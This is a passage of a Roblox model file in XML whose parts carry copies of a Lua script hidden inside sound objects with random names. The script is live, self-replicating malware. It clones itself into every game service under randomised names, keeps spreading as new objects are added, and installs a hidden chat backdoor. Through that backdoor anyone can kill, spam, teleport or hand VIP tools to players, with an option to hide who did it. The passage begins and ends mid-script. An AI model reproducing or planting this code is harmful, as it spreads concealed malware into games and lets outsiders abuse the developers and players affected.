if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX79">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">khlb5i</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX80">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">f5v2hq</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX81">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">12</int>
						<CoordinateFrame name="CFrame">
							<X>15.9687443</X>
							<Y>3.29895926</Y>
							<Z>-2.57274723</Z>
							<R00>0.550176978</R00>
							<R01>1.14337033e-010</R01>
							<R02>-0.835048079</R02>
							<R10>1.28434832e-010</R10>
							<R11>1</R11>
							<R12>2.21542826e-010</R12>
							<R20>0.835048079</R20>
							<R21>-2.29137001e-010</R21>
							<R22>0.550176978</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX82">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">kcoe</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX83">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">3sj96</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
